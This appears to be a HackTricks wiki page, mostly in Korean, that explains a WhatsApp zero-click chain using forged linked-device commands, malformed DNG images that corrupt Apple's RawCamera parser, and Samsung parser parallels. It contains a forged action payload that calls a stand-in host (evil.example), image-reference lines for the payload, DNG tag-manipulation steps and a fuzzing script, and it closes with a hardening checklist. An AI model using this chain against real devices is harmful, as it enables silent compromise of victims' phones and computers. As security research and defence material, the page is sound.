Zero-click Messaging → Image Parser Chains

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

TL;DR

• Treat messaging app multi-device/companion protocols as remote control channels: 프로토콜 필드가 신뢰된 기기에서 왔다고 가정되더라도 실제로는 사용자가 제어할 수 있고 종종 피해자에게 직접 재생(replay)되어 0 user interaction으로 임의의 콘텐츠를 로드할 수 있다.
• 어떤 앱이라도 신뢰할 수 없는 미디어를 가져오도록 강제할 수 있다면, 취약한 파일로 shared OS media pipeline(RawCamera on iOS/macOS, vendor parsers on Android OEM builds)를 타깃으로 삼아 샌드박스를 벗어나라.
• 여기서 논의하는 DNG-based RawCamera 및 Samsung parser 버그는 구체적 사례지만, 전체 기법은 logic flaws → image parser memory corruption → full device compromise를 연결하는 재사용 가능한 청사진이다.

Remote content loading via WhatsApp linked-device commands

Attack surface recap

WhatsApp “linked devices” 아키텍처는 기본 전화기와 모든 companion(데스크톱, 태블릿, 보조 전화기)을 암호화된 구조화된 프로토콜 메시지로 동기화한다. 각 메시지는 다음을 인코딩한다:

• Device metadata (device ID, capabilities, feature flags).
• Action descriptors (예: sync chats, fetch thumbnails, render remote content).
• Arbitrary parameters (URI, MIME 힌트, 페이지네이션 키 등).

Apple 클라이언트에서는 이러한 linked-device 제어 패킷을 처리하는 핸들러가 유효한 페어링이 이미 이루어졌다고 암묵적으로 신뢰했기 때문에, 영향도가 큰 필드(예: resource_url, open_media, sync_snapshot)는 최소한으로만 검증되었다. 따라서 악의적인 companion 메시지는 다음을 수행할 수 있다:

1. 전화번호로 식별되는 어떤 계정으로도 라우팅될 수 있다.
2. 수신자가 보낸이가 합법적으로 페어링된 기기인지 확인하지 않았기 때문에 전송 스택(Noise protocol + WhatsApp protobuf framing)을 통과할 수 있다.
3. iOS 클라이언트에 도달하면 취약한 코드 경로가 자동으로 백그라운드 HTTP(S) 요청을 공격자 URL로 트리거하고 응답을 숨겨진 WebView/media renderer에서 파싱하게 했다.

Practical workflow for auditors

1. 정상적인 linked-device 트래픽을 캡처하라. 디버거나 Frida 스크립트를 데스크톱/iOS 클라이언트에 붙여서 post-decryption 핸들러(예: LinkedDevicesSyncHandler::processAction)를 후킹하라. 디코드된 protobuf 페이로드를 덤프해서 사용 가능한 액션 타입과 파라미터를 학습하라.
2. 신뢰 경계를 넘는 필드를 식별하라. http_url, thumbnail_uri, download_url, render_html 같은 엄격한 허용 목록이 없는 파라미터를 운반하는 액션은 원격 콘텐츠 프리미티브 후보다.
3. 악성 액션을 위조하라. 관찰한 protobuf 스키마를 재사용하고 공격자가 제어하는 필드만 수정하라. 관련 논리 구조의 단순화된 JSON 뷰는 아래에 표시된다(실제 전송은 protobuf/Noise이지만 의미적 필드는 일치한다):

{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}

4. 피해자에게 전달. 평상시 linked-device 트래픽을 전달하는 동일한 WhatsApp 서비스(예: 수정된 데스크톱 클라이언트나 공격자 계정 키를 재사용하는 커스텀 Noise 클라이언트)를 통해 제작한 패킷을 재전송한다. CVE-2025-55177이 동작을 인증된 장치에 묶지 못했기 때문에, 피해자 iOS/macOS 클라이언트는 메시지를 수락하고 어떠한 UI 없이 즉시 공격자 URL을 가져온다.
5. 가져오기 계측. 강제된 HTTP(S) 요청과 내부 렌더러(WKWebView/ImageIO)를 관찰한다. 이 시점에서 공격자는 WhatsApp 내부에 zero-click web delivery primitive를 보유하게 된다.

RawCamera에 대해 자동 디코딩된 DNG 무기화

공격자가 WhatsApp이 로드하는 내용을 제어하면, 다음 목표는 iOS/macOS가 Digital Negative (DNG) 파일을 RawCamera 프레임워크로 파싱하도록 만드는 것이다. .dng로 해석되는 모든 내장된 <img>/CSS URL은 시스템 이미지 파이프라인으로 전달되어, WhatsApp 자체가 DNG를 명시적으로 처리하지 않더라도 RawCamera를 호출하게 된다.

WhatsApp에서 RawCamera 트리거하기

• 다양한 렌더 경로를 커버하기 위해 DNG를 참조하는 HTML을 여러 방식으로 제공한다(예: <img src="evil.dng">, CSS background-image: url('evil.dng'), 또는 <picture> 소스).
• 올바른 MIME(image/x-adobe-dng)과 작은 미리보기를 보장하여 로더가 크기 휴리스틱 때문에 일찍 포기하지 않도록 한다.
• iOS 미디어 샌드박스는 파일을 CGImageSourceCreateWithURL을 통해 RawCamera로 스트리밍하며, 결국 취약한 디코더에 도달한다.

메모리 손상 유발 DNG 제작 (CVE-2025-43300 스타일)

재현된 버그는 메타데이터 불일치로 인해 버퍼 할당과 실제 픽셀 읽기가 비동기화되는 것에 의존했다. 일반적인 조작 지점은 다음과 같다:

• Tile/strip descriptors: TileByteCounts/StripByteCounts를 현실적인 값으로 설정하되 TileOffsets를 증가시켜 할당된 버퍼를 초과하도록 가리킨다.
• Sub-IFD chains: 충돌하는 ImageWidth/ImageLength 및 BitsPerSample을 가진 2차 이미지를 삽입하여 RawCamera가 작은 버퍼를 계산하는 동안 이후 단계가 공격자가 조작한 치수를 신뢰하게 만든다.
• Opcode metadata: OpcodeList3 항목을 조작하여 행별 처리에서 공격자가 선택한 인덱스로 동작하게 한다.

유사한 손상을 찾기 위한 기본적인 mutation harness는 동일한 RawCamera 코드가 macOS/iOS/iPadOS에 배포되므로 macOS를 중심으로 구축할 수 있다:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

각 RawCamera 크래시는 새로운 primitive를 제공합니다. 공개된 PoC는 WhatsApp을 iPhone, iPad, Mac에서 충돌시킬 만큼 신뢰할 수 있는 out-of-bounds read/write를 달성했습니다.

Building the 0-click chain

1. Linked-device packet → 피해자의 기기에서 어떤 탭도 없이 WhatsApp이 https://evil.example/payload.html을 가져오도록 강제합니다.
2. Payload HTML → evil.dng를 조용히 참조하여 OS 미디어 스택이 RawCamera를 호출하게 보장합니다.
3. Malicious DNG → 조작된 태그를 악용해 RawCamera의 OOB를 유발하고 이미지 디코더를 크래시/장악합니다.
4. Post-corruption exploitation → info-leak gadgets(예: 예측 가능한 힙 메타데이터 악용)를 추가하고 ROP/JOP 체인을 배치해 WhatsApp 샌드박스에서 탈출하여 더 높은 권한 컨텍스트로 진입합니다.

모든 단계가 자동으로 수행되므로 공격자는 피해자의 전화번호만 있으면 됩니다. 대상 기기에는 알림, 배너 또는 프롬프트가 표시되지 않습니다.

Samsung vendor image parser parallels

Samsung의 CVE-2025-21043 공지는 Gallery, Messages, 그리고 간접적으로 WhatsApp에서 사용되는 그들의 독점 이미지 파싱 스택이 신뢰되지 않은 미디어를 통해 도달 가능한 out-of-bounds write를 겪었다고 확인했습니다. 익스플로잇 방법론은 Apple 체인과 유사합니다:

• 공격자 파일을 Samsung의 libimagecodec/libOneUI_ImageDecoder 라이브러리로 파싱하는 자동 미리보기 벡터(채팅 썸네일, 알림 미리보기, 공유 시트 등)를 식별합니다.
• OEM 라이브러리 업데이트를 비교(diff)하거나 잘못된 RAW/DNG 파일로 파서를 퍼즈해 RawCamera 크래시와 유사한 메모리 손상(힙 메타데이터 파괴, 레지스터 제어 등)이 나타날 때까지 시도합니다.
• 이미 콘텐츠를 자동으로 로드하는 채널(예: 동일한 linked-device primitive, WhatsApp 프리뷰 페처, 또는 Android의 push-to-talk waveform 프리뷰)을 통해 조작된 파일을 전달합니다.

벤더 파서에 OOB write가 존재하면, 이를 WhatsApp 자동-페치 primitive와 결합해 Samsung 기기에서도 또 다른 zero-click chain을 만들 수 있습니다.

Testing & hardening checklist

• Protocol validation: 모든 linked-device 액션에 대해 엄격한 allow-list를 적용하십시오. fetch/render를 요청하는 동반 명령은 기기 페어링을 증명(페이로드 서명)해야 하고 URL은 allow-list 또는 서명된 블롭과 일치해야 합니다.
• Transport replay countermeasures: 각 액션을 기기별 키에 바인드하고 protobuf 문법이 올바르더라도 송신자 키가 알려지지 않은 패킷은 거부하십시오.
• Media pipeline restrictions: 고수준 앱은 승인된 MIME 타입만 허용하고 기능상 필요하지 않다면 RAW/DNG는 명시적으로 거부해야 합니다.
• Parser fuzzing regression tests: 잘못된 RAW/DNG 파일 코퍼스를 보관하고 업데이트 후 RawCamera/벤더 디코더에 대해 실행하십시오.
• Crash triage automation: 퍼즈 장비에 DYLD_INSERT_LIBRARIES sanitizer나 MTE를 적용하여 공격자보다 먼저 미세한 OOB 조건을 포착하십시오.

References

• DNGerousLINK: A Deep Dive into WhatsApp 0-Click Exploits on iOS and Samsung Devices

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.